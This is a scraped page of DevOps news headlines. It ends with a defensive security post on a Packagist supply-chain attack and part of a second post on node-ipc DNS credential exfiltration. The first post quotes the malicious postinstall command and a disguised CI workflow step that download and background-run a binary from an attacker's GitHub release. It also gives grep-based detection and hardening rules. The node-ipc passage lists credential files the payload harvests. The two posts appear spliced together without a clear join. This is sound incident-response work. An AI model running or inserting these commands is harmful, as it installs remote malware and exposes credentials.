📅 May 22, 2026 • 📰 LaunchDarkly Blog

🔗 Read more

📄 Designing an AI-Powered DevSecOps Guardrail Pipeline Using GitHub Actions

By embedding AI-powered guardrails directly into CI/CD pipelines, organizations can detect vulnerabilities earlier, enforce security policies automatically and accelerate secure software delivery.

📅 May 22, 2026 • 📰 DevOps.com

🔗 Read more

📄 From Conversations to Community: Our First MongoDB DBDevOps

Harness and Namma MUG hosted India’s first MongoDB Database DevOps meetup, exploring CI/CD, automation, migrations, and MongoDB-native workflows. | Blog

📅 May 22, 2026 • 📰 Harness Blog

🔗 Read more

📄 Beyond the engine: 10 open source projects shaping how games actually get made

Check out these 10 open source tools that help game developers create art, animation, levels, audio, dialogue, debug UIs, and engine-ready assets. The post Beyond the engine: 10 open source projects s

📅 May 21, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Building GitHub’s next chapter in accessibility

Explore our update on GitHub’s accessibility strategy, and learn how you can join us in building a culture of accessibility. The post Building GitHub’s next chapter in accessibility appeared first on

📅 May 21, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Transform MRs from manual tasks to an automated workflow

AI made writing code dramatically faster, but the work between opening a merge request and merging it has stayed almost entirely manual. Assigning reviewers, addressing feedback round after round, unt

📅 May 21, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Track CI component usage across your organization

If your platform team publishes standardized pipeline components, you've probably encountered this: once they're out in the wild, you lose visibility. You can't see if anyone’s actually using it, who'

📅 May 21, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Manage CI/CD credentials with GitLab Secrets Manager

Many credential leaks start with a developer who needs a credential, doesn’t have a good place to put it, and improvises. It lands in an over-scoped CI/CD variable, a config file, or a .env committed

📅 May 21, 2026 • 📰 GitLab Blog

🔗 Read more

📄 More AI models for GitLab Duo Agent Platform Self-Hosted

Customers running GitLab Duo Agent Platform Self-Hosted operate under constraints many software teams don't face: data residency mandates, air-gapped networks, and compliance regulations that prohibit

📅 May 21, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Investigating unauthorized access to GitHub-owned repositories

If any impact is discovered, customers will be notified via established incident response and notification channels. The post Investigating unauthorized access to GitHub-owned repositories appeared fi

📅 May 20, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Consolidate registries to accelerate secure CI/CD flows

Artifact repository sprawl across multiple registries creates CI/CD bottlenecks, security blind spots, and compliance gaps. Learn how registry consolidation with unified governance fixes it. | Blog

📅 May 20, 2026 • 📰 Harness Blog

🔗 Read more

🏗️ IaC

📄 Introducing pulumi do: Direct Resource Operations for Any Cloud

Infrastructure as code is the right model for production systems. State tracking, drift detection, and repeatable deployments all matter when you’re managing real workloads. But sometimes, you also ne

📅 May 22, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Streamlining Red Hat OpenShift multicluster management with Red Hat Ansible Automation Platform

Multicluster management has been a rapidly evolving part of ITOps over the past several years. As organizations deploy hundreds to thousands of clusters across distributed environments, it’s important

📅 May 22, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Bringing Neo to GitHub and Slack

This week, Pulumi Neo started working in two more places: GitHub and Slack. The agent that already runs Pulumi tasks from the Cloud console and the terminal now participates in the threads where your

📅 May 21, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Seven Rules for Building an AI-Native Software Factory

Ewan Dawson is CTO of Compostable AI, where five engineers run an AI-native software factory: nineteen clients, custom AWS deployments, most of them shipped within a day of contract signing. This arti

📅 May 21, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Upgrading Fedora with Zabbix and Ansible

Fedora is a global open source project and Linux distribution that provides a platform for innovation and collaboration. Its infrastructure is managed by a dedicated team of professionals and voluntee

📅 May 20, 2026 • 📰 Zabbix Blog

🔗 Read more

📊 Observability

📄 Route Claude Code Through MLflow AI Gateway

Learn how to route Claude Code through MLflow AI Gateway to get full observability, budget controls, and guardrails across all your coding agent sessions, with no changes to how you use Claude Code.

📅 May 25, 2026 • 📰 MLflow Blog

🔗 Read more

📄 Who’s monitoring the agents?

Over the past few months, something quietly shifted. Frameworks like CrewAI, AutoGen, and LangGraph are no longer just showing up The post Who’s monitoring the agents? appeared first on The New Stack.

📅 May 24, 2026 • 📰 The New Stack

🔗 Read more

📄 Designing end-to-end ingress request tracing for multi-tenant SaaS platforms

Modern SaaS platforms built on cloud‑native architectures frequently consist of dozens of independently deployed microservices. A single customer request entering the platform at the ingress layer may

📅 May 22, 2026 • 📰 CNCF Blog

🔗 Read more

📄 The product analytics you already have

Your Sentry traces, logs, and metrics already answer most product analytics questions. Learn how to query existing telemetry for product insights.

📅 May 21, 2026 • 📰 Sentry Blog

🔗 Read more

📄 Automate root cause analysis across Datadog and Elasticsearch with AWS DevOps Agent

Modern distributed systems route business transactions through dozens of microservices, message queues, and event streams. When a message fails to process or processing exceeds SLA thresholds, trouble

📅 May 19, 2026 • 📰 AWS DevOps Blog

🔗 Read more

📄 Applying OpenTelemetry Security Practices in Legacy Environments

OpenTelemetry is gaining traction in manufacturing and other legacy environments as organizations explore modern observability approaches. However, applying these practices in traditional systems intr

📅 May 19, 2026 • 📰 OpenTelemetry Blog

🔗 Read more

🔐 Security

📄 Exploitation of KnowledgeDeliver via ViewState Deserialization Vulnerability

Written by: Takahiro Sugiyama, Peter Revelant, Mathew Potaczek Introduction In late 2025, Mandiant responded to a security incident involving a compromised web server running KnowledgeDeliver. Knowled

📅 May 25, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Threats Making WAVs - Incident Response to a Cryptomining Attack

Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in

📅 May 25, 2026 • 📰 Linode Blog

🔗 Read more

📄 Laravel Lang Supply Chain Advisory

Hundreds of historical Laravel Lang Packagist releases were republished with malicious code, putting Composer installs at risk of credential theft and secret exfiltration.

📅 May 23, 2026 • 📰 Snyk Blog

🔗 Read more

📄 Attackers Can Exploit a Claude Code RCE Flaw to Take Command of System

A dangerous vulnerability found in Anthropic’s popular Claude Code developer model could have allowed bad actors to grab control of a victim’s system by luring them into clicking on a crafted maliciou

📅 May 22, 2026 • 📰 DevOps.com

🔗 Read more

📄 AWS Security Agent adds verification scripts for pentest findings

AWS Security Agent now generates verification scripts for penetration test findings, enabling security teams to independently reproduce and validate discovered vulnerabilities. Previously, teams manua

📅 May 22, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Modernizing DevOps Security With Intelligent KYC Enforcement Layers

This is where smart KYC enforcement layers fit in — not a compliance box, but an engineering control that is directly part of DevOps processes.

📅 May 22, 2026 • 📰 DevOps.com

🔗 Read more

📄 TeamCity 2025.11.5 Is Out

Our (most likely) final update for TeamCity 2025.11 On-Premises servers has just been released. This updage addresses a tiny amount of issues, but includes four security problem fixes, so we recommend

📅 May 21, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Snyk announces Anthropic updates: Evo integrates with Claude Enterprise, and Snyk Desk comes to Claude Desktop

Snyk announces two new integrations with Anthropic that cover both sides of AI-assisted development. Evo by Snyk now integrates with Anthropic's Claude Enterprise, and the Snyk Security Desktop Extens

📅 May 21, 2026 • 📰 Snyk Blog

🔗 Read more

📄 Announcing Claude Compliance API support with Cloudflare CASB

Cloudflare now integrates with the Claude Compliance API, so that security teams can monitor Claude Enterprise activity directly in the Cloudflare Dashboard.

📅 May 21, 2026 • 📰 Cloudflare Blog

🔗 Read more

📄 PinTheft Linux kernel vulnerability mitigation

A local privilege escalation (LPE) security vulnerability in the Linux kernel, codename “PinTheft,” was publicly disclosed on May 19, 2026. The vulnerability was fixed in the mainline Linux kernel tre

📅 May 21, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 Securing The AI Revolution: How Snyk And Our Partners Are Scaling For The Future

AI is accelerating code creation. Learn how Snyk is scaling its AI Security Platform and investing in new partner programs to help enterprises govern AI-generated code at scale.

📅 May 21, 2026 • 📰 Snyk Blog

🔗 Read more

📄 Gitea 1.26.2 is released

We are excited to announce the release of Gitea 1.26.2! We strongly recommend all users upgrade to this version, as it contains a number of security fixes alongside important bug fixes and stability i

📅 May 20, 2026 • 📰 Gitea Blog

🔗 Read more

💾 Databases

📄 pg_tre 1.1.1 released -- an approximate-REGEX index AM for PostgreSQL 18+

I am pleased to announce the first public release of [pg_tre] (https://codeberg.org/gregburd/pg_tre), a native PostgreSQL 18+ index access method for approximate-regex matching. pg_tre indexes text co

📅 May 22, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 pg_infer 1.0.0 released -- transformer model knowledge as SQL relations

I am pleased to announce the first public release of pg_infer, a PostgreSQL 18+ extension that exposes the internals of small transformer language models -- gate activations, feature labels, learned a

📅 May 22, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 pg_mentat 1.3.0 released -- Datomic-compatible Datalog inside PostgreSQL

I am pleased to announce the first public release of [pg_mentat] (https://github.com/gburd/pg_mentat), a PostgreSQL extension that implements Datomic's data model -- immutable facts (datoms), schema-f

📅 May 22, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 The NoSQL Storm - Stop fighting the MongoDB

The NoSQL Storm, a Database DevOps comic inspired by MongoDB, exploring NoSQL scaling, schema evolution, and modern DevOps practices. | Blog

📅 May 21, 2026 • 📰 Harness Blog

🔗 Read more

📄 PGDay Israel 2026 - Call for Papers is Now Open

Dear PostgreSQL Community, We are pleased to announce that the Call for Papers for PGDay Israel 2026 is now open. We invite community members, users, and developers to submit proposals for talks and p

📅 May 21, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 Long-horizon tasks: building agents that work over hours & days

Early AI agents handled one-shot jobs that took a few minutes: fix this bug, write this function, generate this test. More recent workflows are multi-step, tool-using, and stateful over extended sessi

📅 May 21, 2026 • 📰 Redis Blog

🔗 Read more

📄 Benchmarking AI Coding Agents for Distributed SQL: What We Learned

AI models write vanilla PostgreSQL. If your database is distributed, providing the AI model with a YugabyteDB skill file closes the gap and ensures it writes code that works for your application. In t

📅 May 20, 2026 • 📰 Yugabyte Blog

🔗 Read more

📄 What is a context engine? The platform layer behind production AI agents

Count the systems behind your AI agent. A vector database for embeddings. A separate cache for LLM responses. A memory service for conversation state. A pipeline syncing data from Postgres. Probably a

📅 May 20, 2026 • 📰 Redis Blog

🔗 Read more

📄 TiDB SCaiLE Europe 2026: Why Engineers Building Agentic AI Should Be in Stockholm on 4 June

Most teams shipping AI agents in 2026 hit the same wall around the same time. The prototype works. Ten users or even a thousand users mostly work. But then one user action triggers thousands of agent

📅 May 19, 2026 • 📰 TiDB Blog

🔗 Read more

📄 Apache Cassandra Performance Tuning: What We Learned

This blog post (tries to) consolidate what we've learned from years of tuning Apache Cassandra for performance

📅 May 19, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 What is a context layer? AI agent infrastructure

In a demo, your agent only has to hold one conversation with one user, against fresh data, for a few minutes. Production is different. It has to remember users across sessions, reconcile retrieved doc

📅 May 19, 2026 • 📰 Redis Blog

🔗 Read more

🌐 Platforms

📄 2 PhaaS 2 Furious: The Evolution of Chinese-language Phishing Services

Written by: Jamie Collier While Russian-speaking threat actors have historically dominated the phishing-as-a-service (PhaaS) landscape, a rival ecosystem is rapidly growing within the Chinese-language

📅 May 25, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley

In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.

📅 May 25, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Oracle of Delphi Will Steal Your Credentials

Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic

📅 May 25, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger

In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum

📅 May 25, 2026 • 📰 Linode Blog

🔗 Read more

📄 Amazon SageMaker expands domain management across domain types

Amazon SageMaker Unified Studio now provides domain management experience for Identity Center and IAM-based domains outside of AWS console, allows administrators and data management teams to create an

📅 May 22, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 New agentic migration assessment capabilities now available with AWS Transform

AWS Transform now offers advanced migration assessment capabilities including what-if scenarios, customizable assumptions, flexible file format support, and multiple new total cost of ownership (TCO)

📅 May 22, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Amazon SageMaker adds business metadata and governance in IAM-based domains

Amazon SageMaker Unified Studio now supports business context, metadata and data governance capabilities in IAM-based domains. With this launch, customers using Amazon SageMaker IAM-based domains can

📅 May 22, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Request-Based Autoscaling Is Now Generally Available on App Platform

Traffic doesn’t spike on a schedule. A product launch, a viral moment, or a flash sale can send request volume through the roof in seconds, long before your CPU metrics catch up. That gap is where per

📅 May 22, 2026 • 📰 DigitalOcean Blog

🔗 Read more

📄 GitHub recognized as a Leader in the Gartner® Magic Quadrant™ for Enterprise AI Coding Agents for the third year in a row

We are committed to empowering every developer by building an open, secure, and AI-powered platform that defines the future of software development. The post GitHub recognized as a Leader in the Gartn

📅 May 22, 2026 • 📰 GitHub Blog

🔗 Read more

📄 What’s new with Google Cloud

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not

📅 May 22, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 The Blueprint: How Movix fills a gap in dental skills with specialized agentic AI

Welcome to The Blueprint, a regular feature where we highlight how Google Cloud customers are tackling unique and common challenges across industries using the latest AI and cloud technologies. We hop

📅 May 22, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Canonical announces fully Managed Kubeflow AI operations platform on the Microsoft Azure Marketplace

Canonical has announced the general availability of Managed Kubeflow on the Microsoft Azure Marketplace. This fully managed MLOps platform allows enterprise AI teams to deploy a production-ready envir

📅 May 21, 2026 • 📰 Ubuntu Blog

🔗 Read more

📰 Misc

📄 Visual Studio Code 1.122

Learn what's new in Visual Studio Code 1.122 (Insiders) Read the full article

📅 May 27, 2026 • 📰 VS Code Blog

🔗 Read more

📄 How Jaeger hit 8.6× compression on 10 million spans with ClickHouse

As someone who’s been maintaining Jaeger, I’ve watched users request ClickHouse support consistently over the past few years. With Jaeger The post How Jaeger hit 8.6× compression on 10 million spans w

📅 May 24, 2026 • 📰 The New Stack

🔗 Read more

📄 What ClickHouse learned from a year of coding with AI agents

Some people will tell you agents will take all our jobs. Others insist they are useless. Leadership at many companies The post What ClickHouse learned from a year of coding with AI agents appeared fir

📅 May 24, 2026 • 📰 The New Stack

🔗 Read more

📄 OpenClaw passed 300,000 GitHub stars. Then Google launched Spark.

OpenClaw made the always-on agent feel personal by making it live somewhere you could point at — a Mac mini The post OpenClaw passed 300,000 GitHub stars. Then Google launched Spark. appeared first on

📅 May 23, 2026 • 📰 The New Stack

🔗 Read more

📄 The JetBrains Fit Test: Is This the Right Workplace for You?

If you’ve ever wondered what it’s really like to work at JetBrains, this post is for you. We could tell you about our products, our offices, or the number of developers who use our tools, but the trut

📅 May 22, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 What Happens When You Give AI Agents the Map of Your Code’s Coverage?

When you ask an AI agent to write a new feature, a good agent will eventually say: “I need to write a test for this.” But what happens next is usually messy. To figure out where that new test belongs,

📅 May 22, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Rider 2026.2 EAP 3: Cost-effective Agentic Test Coverage, Code Change Previews, GameDev Templates, and NuGet Improvements

JetBrains Rider 2026.2 EAP 3 is out! You can download this version from our website, update directly from within the IDE, use the free Toolbox App, or install it via snap packages. Here’s what you can

📅 May 22, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Decoding design: How design and engineering thrive together in open source

Open source thrives on engineering-driven processes. Fast feedback loops, terminal tools, Git workflows: they’re the lifeblood of how we build software in the open. But for software to truly excel, we

📅 May 22, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 Friday Five — May 22, 2026

Fierce Network: Red Hat CTO says these are 3 big things it’s working on with telcosVerizon took to the keynote stage at Red Hat Summit to talk up its network modernization work with the vendor. Red Ha

📅 May 22, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Developing web apps with local LLM inference

I’ve yet to meet a developer that enjoys working with metered AI APIs. The need to pay for every API call in development works in direct opposition to the ethos of rapid iteration, and it’s easy for t

📅 May 21, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 What even is the harness in AI?

I recently saw OpenClaw referred to as a harness. I thought, “That’s interesting. OpenClaw isn’t a harness. It’s an agent runtime—it drives the agent loop.” So, what does the word "harness" even mean?

📅 May 21, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Red Hat's Approach to Keyboard Testing for Web Accessibility

One of the core principles of Red Hat’s open source culture is open exchange, which is the belief that information should be freely available and accessible to anyone. I recently represented Red Hat a

📅 May 21, 2026 • 📰 Red Hat Blog

🔗 Read more

Within 17 hours of detection, a GitHub code search for the attacker-controlled account parikhpreyash4 was returning hundreds of public code results across Node.js repositories. The total reach landed somewhere north of 700 GitHub repos pulling the same install hook, with a secondary spread vector hiding in .github/workflows/ci.yml as a step innocently named "Dependency Cache Sync".

This post covers what the payload does, why the cross-manifest hiding trick keeps working, the one-liner that tells you whether any PHP repo you maintain is exposed, and how to make your CI look at every manifest a repo carries instead of just the one that matches the language you think it's written in.

TL;DR

• 8 Packagist packages were compromised by adding an npm-style postinstall script to package.json (not composer.json). Most were development branches (dev-main, dev-master, 3.x-dev), which is enough to hit anyone pinning to a branch instead of a tag.
• The script downloads a Linux binary from a GitHub Releases URL, saves it as /tmp/.sshd, makes it executable, and runs it in the background. The binary itself was pulled from GitHub before researchers could grab a copy.
• The attacker also injected the same command into .github/workflows/ci.yml of public forks as a step called "Dependency Cache Sync". A merged PR can plant this; subsequent CI runs will re-infect even after the package itself is cleaned.
• The PHP angle is the story. Cross-ecosystem manifests in a single repo are normal (any Laravel app with a Vite or Tailwind build ships both composer.json and package.json). Most security review pipelines only audit the manifest of the language they think the repo is.
• Detection one-liner is at the bottom. Rotation order at the very bottom.

The exact payload

This is the literal command the attacker added to package.json's scripts.postinstall field:

curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &

Four things to notice:

1. -s suppresses curl's progress meter, -k skips TLS certificate verification, -L follows redirects. The verification skip is the tell. Nothing legitimate downloads a release binary with -k.
2. The output path /tmp/.sshd is chosen to look like a system file. A casual ls /tmp won't see it (leading dot is hidden), and a ps aux | grep ssh returns a process that looks like the real OpenSSH daemon.
3. 2>/dev/null discards stderr, so a failed download produces no log line.
4. The & at the end forks the binary into the background and returns immediately. From the CI runner's perspective, npm install finished cleanly. The malicious binary is now running.

The binary itself (gvfsd-network) was hosted at:

https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network

Both the file name and the repo name are deliberate noise. gvfsd-network looks like a GNOME virtual filesystem helper. systemd-network-helper-aa5c751f looks like an internal systemd component with a commit-hash suffix. Neither is real. The attacker yanked the binary from GitHub Releases before Socket could grab a sample, so we don't know what stage 2 did, but the install pattern (background binary, hidden path, suppressed errors) is consistent with a credential stealer or a persistent C2 beacon, which is what every other Shai-Hulud and Mini-Shai-Hulud wave this month has shipped.

The package.json trick

Composer packages are PHP. Their canonical manifest is composer.json. A PHP team's dependency review pipeline reads composer.json and composer.lock. They look for new dependencies, version bumps, suspicious authors, and anything weird in scripts (Composer has its own scripts system that runs PHP class methods).

Composer packages can also ship package.json for their build-time JavaScript assets. devdojo/wave is a Laravel starter that includes a Tailwind UI; the repo carries both manifests. When you composer require devdojo/wave, Composer doesn't run npm scripts. But the project's package.json is now sitting in your vendor/devdojo/wave/ directory, and the moment your build pipeline does an npm install against it (or against your monorepo from its root, picking up nested node_modules), the postinstall hook fires.

That is the only ecosystem boundary the attacker had to cross. Their malicious commit looks like a normal commit to a Composer package, with a one-line addition to a file PHP devs never read.

This is not theoretical. Every Laravel project with a Vite or Tailwind build has the dual-manifest shape. Every npm package that ships native bindings has both package.json and binding.gyp. Every Cargo crate that vendors a Python wheel has both Cargo.toml and pyproject.toml. The defender pattern of "audit the manifest of the ecosystem we think we are in" is wrong every time.

The GitHub Actions re-infection vector

Socket also found the same install command embedded in .github/workflows/ci.yml of 448776129/UA2F, a public fork of Zxilly/UA2F, as a workflow step named Dependency Cache Sync.

- name: Dependency Cache Sync
  run: |
    curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null \
      && chmod +x /tmp/.sshd \
      && /tmp/.sshd &

The step name is the malicious part. "Dependency Cache Sync" sounds like a routine step you'd skim past in a PR review. It looks like every other CI cache step you've seen.

Why this matters: the GitHub Actions step survives the Packagist cleanup. Packagist removed the bad versions, but a fork that already merged the malicious workflow step keeps re-infecting its own CI runner on every push. If those runners have OIDC tokens for cloud accounts, or push permissions back to the upstream repo, that re-infection turns into a propagation loop that the original cleanup did nothing about.

If the original Packagist take-down felt like the end of the story when you saw the news yesterday, this is the part that isn't done.

Are you exposed? One-liner grep

The fast check across every repo you maintain locally. From a parent directory:

# Find any package.json scripts that download a binary from a GitHub release
# and pipe it into /tmp/. Catches the parikhpreyash4 campaign and any near-copies.
find . -name package.json -not -path '*/node_modules/*' -print0 \
  | xargs -0 grep -l -E 'curl.*github\.com.*releases.*-o /tmp/\.' 2>/dev/null

And for already-installed Composer dependencies on a running app, check vendor/:

find vendor -name package.json -print0 \
  | xargs -0 grep -l -E 'curl.*github\.com.*releases.*-o /tmp/\.' 2>/dev/null

The narrower check for the exact known IoCs:

grep -RE 'parikhpreyash4|systemd-network-helper-aa5c751f|/tmp/\.sshd' \
  --include='package.json' --include='*.yml' --include='*.yaml' \
  -l . 2>/dev/null

On a running CI runner, also check for the binary itself:

ls -la /tmp/.sshd 2>/dev/null \
  && ps auxf | awk '/[\.]sshd|sshd / {print}'

A real OpenSSH daemon will be /usr/sbin/sshd. A process running from /tmp/.sshd is the malware, regardless of how it shows up in ps.

Hardening: make CI look at every manifest

The structural fix is to scan every manifest in every repo, regardless of what language you think the repo is. A minimal GitHub Actions step that does the right thing:

name: Cross-manifest dependency audit
on:
  pull_request:
  push:
    branches: [main]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # Run Socket's scanner against every manifest in the repo, not just
      # the one matching the primary language. Socket reads composer.json,
      # package.json, requirements.txt, Cargo.toml, go.mod, and others —
      # so a Composer repo with a hidden package.json hook gets caught.
      - name: Socket audit (every manifest)
        uses: SocketDev/socket-security-action@v1
        with:
          api-key: ${{ secrets.SOCKET_API_KEY }}

      # A defense-in-depth grep for the install-time-script pattern. Cheap,
      # zero deps, catches obvious cases even on repos that don't have a
      # Socket org set up.
      - name: Grep for install-time binary downloads
        run: |
          set -euo pipefail
          MATCHES=$(grep -rE 'curl.*github\.com.*releases.*-o /tmp/\.' \
            --include='package.json' --include='composer.json' \
            --include='*.yml' --include='*.yaml' \
            . || true)
          if [ -n "$MATCHES" ]; then
            echo "::error::Install hook downloads binary to /tmp/. Refusing build."
            echo "$MATCHES"
            exit 1
          fi

Two things to wire into your branch protection on top of that:

• Block any PR that adds or modifies a postinstall, preinstall, or install script in package.json without a CODEOWNERS review by your security team. This is policy, not tooling. Your CODEOWNERS file can target package.json directly.
• Pin Composer dependencies to tags, not branches. Every package in this campaign was compromised on dev-main, dev-master, or 3.x-dev. If your composer.json has "devdojo/wave": "dev-main", Composer pulls whatever the branch HEAD is at install time, which is exactly what attackers want. Pin to a semver tag instead: "devdojo/wave": "^1.4.2".

For GitHub Actions workflows, set permissions: contents: read at the workflow level and require explicit elevation in any step that needs write. A "Dependency Cache Sync" step that needs contents: write to push a binary download into /tmp/ is suddenly very visible in a PR diff.

If you were exposed: rotation order

Same drill as every other supply chain compromise in May. If a runner or developer machine executed the postinstall hook, treat everything reachable from that machine as burned.

1. GitHub tokens first. gh auth logout, revoke every PAT at https://github.com/settings/tokens, reissue with minimum scope. Doing this first prevents the attacker from pushing a worm-propagation commit to repos you maintain.
2. Cloud STS sessions. AWS: revoke active sessions for the IAM role that the runner used. GCP: gcloud auth revoke --all. Azure: az logout && az account clear.
3. Long-lived cloud keys. Rotate IAM access keys, GCP service account JSON keys, Azure SP credentials. Anything that was on disk in ~/.aws/credentials or the equivalent.
4. SSH keys. Reissue keypairs. Remove the compromised machine's public key from every authorized_keys it sat in.
5. Kubeconfig. Rotate the cluster CA-signed certs for the user.
6. App secrets. Anything in .env, anything in your secrets manager that the runner had pull access to.
7. Composer auth tokens. ~/.composer/auth.json holds Packagist credentials, private repository tokens, and GitHub OAuth for Composer. Rotate them.

Then nuke /tmp/.sshd and any running process from it, and rebuild the runner from a known-clean image. Don't try to clean up in place. The binary was background-forked, it could have written persistence elsewhere, and you can't grep your way to confidence on a host that ran an unknown stage-2 binary.

Why this keeps happening

This is the fifth coordinated supply chain campaign we've covered in the last six weeks. AntV (Shai-Hulud worm hitting @antv packages and echarts-for-react). TanStack (npm + GitHub Actions cache poisoning + dead-man's switch). node-ipc (DNS-tunneling credential exfil). The two PyPI / npm Mini-Shai-Hulud waves. Now this one.

The pattern is consistent: attackers are getting better at finding the seam between two systems where the defender's review process stops. TanStack exploited the seam between forked PRs and trusted CI cache. node-ipc exploited the seam between HTTPS egress controls and DNS resolution. This one exploited the seam between PHP review and JavaScript review on a repo that carries both.

The fix is not another tool. It's the operational discipline of looking at every manifest, every workflow, every script that runs on your build infrastructure, regardless of what language you think the project is. The teams that get hit are the ones that built their dependency-review process around one language and never thought about what happens when a Composer package ships a package.json.

Summary

The May 22 Packagist campaign hit 8 packages and 700+ GitHub repos by hiding a postinstall hook in package.json instead of composer.json. PHP review pipelines missed it. The same install command shows up in .github/workflows/ci.yml files under the name "Dependency Cache Sync" as a re-infection vector that survives the package cleanup.

Today's actions for any team running PHP:

• Grep every package.json in vendor/ and in your own repos for curl ... /tmp/..
• Pin Composer dependencies to tags, not branches.
• Add CODEOWNERS protection on package.json install-script changes.
• Run a cross-manifest scanner in CI so the next attacker hiding in the other ecosystem's file gets flagged before merge.

Sources: Socket's original disclosure, Cybersecurity News coverage of the Laravel-Lang variant, and the Aikido write-up on Laravel-Lang credential stealer.

That last detail is the part this post is about. Almost every supply chain post-mortem in the last twelve months ends with the same advice: pin your lockfiles, enable provenance, block outbound traffic to known-bad domains. All good advice. None of it catches an attacker who hides the stolen data inside DNS resolution traffic that your CI runners and developer laptops were going to make anyway.

node-ipc has roughly 822K weekly downloads and is a transitive dependency of a long list of CLI tools and frameworks. If your stack pulls it, even four levels deep, the install-time payload runs as whatever user ran npm install, with whatever cloud, SSH, and Kubernetes credentials that user has access to.

This post is the practical version: what the payload does, why DNS exfil works on most networks, the egress filtering you can ship in an afternoon, and the order to rotate if you ran any of the bad versions.

TL;DR

• Three malicious node-ipc versions: 9.1.6, 9.2.3, 12.0.1, published 2026-05-14. Identical 80 KB payload in each.
• Targets: AWS / GCP / Azure tokens, SSH private keys, kubeconfig, .env files, GitHub CLI tokens, Anthropic and OpenAI keys, Bitwarden vaults, and around 90 other credential categories.
• Exfil: payload chunks the stolen data, encrypts it, and embeds the ciphertext in DNS TXT lookups to attacker-controlled domains. Every developer machine and CI runner can resolve DNS by default, so the traffic blends in.
• Likely vector: maintainer account compromise on npm. The repo on GitHub was clean during the window the bad packages were live.
• If you ran a bad version, treat every secret reachable from that machine as burned and rotate in this order: GitHub tokens, cloud STS sessions, long-lived cloud keys, SSH keys, kubeconfig, app secrets.
• Hardening: lock CI runners and developer laptops to a small DNS allowlist (your resolver + your DoH provider), log DNS queries, and alert on TXT queries to non-allowlisted domains. None of this needs new tooling.

Prerequisites

• Familiarity with npm install and lockfile semantics.
• A network where you control the egress path for at least one set of machines (CI runners are the highest-value target).
• dig, tcpdump, or your cloud's DNS query logs to verify what the actual baseline of outbound DNS looks like.

What the payload actually does

When a project pulls a bad node-ipc version, the malicious CommonJS bundle runs as part of the package's normal entrypoint. Three things happen, in order.

1. File harvest. The payload walks $HOME, the working directory, and a handful of well-known config paths looking for credential files. The list includes obvious targets (~/.aws/credentials, ~/.config/gcloud/application_default_credentials.json, ~/.azure/, ~/.ssh/id_*, ~/.kube/config) plus a long tail of the things that have leaked in previous Shai-Hulud waves (~/.config/gh/hosts.yml, ~/.npmrc, ~/.pypirc, .env, .env.local, ~/.config/Code/User/settings.json for VS Code Anthropic keys). It also picks up Bitwarden CLI vault paths, Anthropic / OpenAI / Mistral keys from their canonical locations, and the Cursor / Continue.dev config directories.

2. Encryption and chunking. The harvested blob is encrypted with a key derived from a hardcoded attacker public key (so only they can read it), then base32-encoded and split into chunks small enough to fit inside a DNS label. DNS labels are capped at 63 characters each and the full FQDN at 253 characters, which constrains how much you can stuff into one query. The payload uses sequence prefixes (c00-, c01-, ...) so the attacker's authoritative server can reassemble.

3. Exfil via DNS TXT lookups. For each chunk, the payload issues a DNS TXT query for <chunk>.<sequence>.<victim-id>.<attacker-domain>. The OS resolver dutifully forwards the query upstream. Eventually it hits the attacker's authoritative name server, which logs the query, returns a junk TXT answer, and now has another piece of your ~/.aws/credentials.

The clever bit is the resolver hop. The payload itself never opens a socket to the attacker. The OS resolver does, on its behalf, to whatever DNS forwarder you have configured. If your CI runner can resolve npmjs.com to install packages in the first place, it can also resolve <stolen-credentials>.<attacker-domain> without anything looking obviously wrong.

Why most egress controls miss this

